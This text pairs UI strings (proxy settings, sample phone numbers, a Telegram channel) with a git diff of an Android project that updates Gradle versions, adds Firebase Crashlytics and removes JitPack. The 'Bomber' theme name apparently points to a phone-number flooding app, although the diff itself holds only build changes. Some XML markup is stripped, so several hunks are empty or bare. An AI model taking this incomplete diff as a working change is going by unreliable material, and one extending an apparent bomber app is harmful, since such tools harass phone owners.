Telegram Channel + Open Close - Proxy - Invalid proxy format - Save - + 912 345-67-89 50 123 4567 1 202-555-0135 diff --git a/app/src/main/res/values/styles.xml b/app/src/main/res/values/styles.xml index 682c1f6..d38048e 100644 --- a/app/src/main/res/values/styles.xml +++ b/app/src/main/res/values/styles.xml @@ -3,7 +3,7 @@ diff --git a/app/src/main/res/values/themes.xml b/app/src/main/res/values/themes.xml index 283f860..996e86f 100644 --- a/app/src/main/res/values/themes.xml +++ b/app/src/main/res/values/themes.xml @@ -15,6 +15,4 @@ @style/ThemeOverlay.Bomber.MaterialAlertDialog - - @color/grey_100 \ No newline at end of file diff --git a/build.gradle b/build.gradle index 9d961fd..3d94769 100644 --- a/build.gradle +++ b/build.gradle @@ -6,7 +6,10 @@ buildscript { } dependencies { - classpath 'com.android.tools.build:gradle:7.0.4' + classpath 'com.android.tools.build:gradle:7.1.1' + classpath 'com.google.gms:google-services:4.3.10' + + classpath 'com.google.firebase:firebase-crashlytics-gradle:2.8.1' // NOTE: Do not place your application dependencies here; they belong // in the individual module build.gradle files @@ -17,7 +20,6 @@ allprojects { repositories { google() mavenCentral() - maven { url "https://jitpack.io" } } } diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties index eded4f3..ce1493a 100644 --- a/gradle/wrapper/gradle-wrapper.properties +++ b/gradle/wrapper/gradle-wrapper.properties @@ -3,4 +3,4 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0.2-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-7.2-bin.zip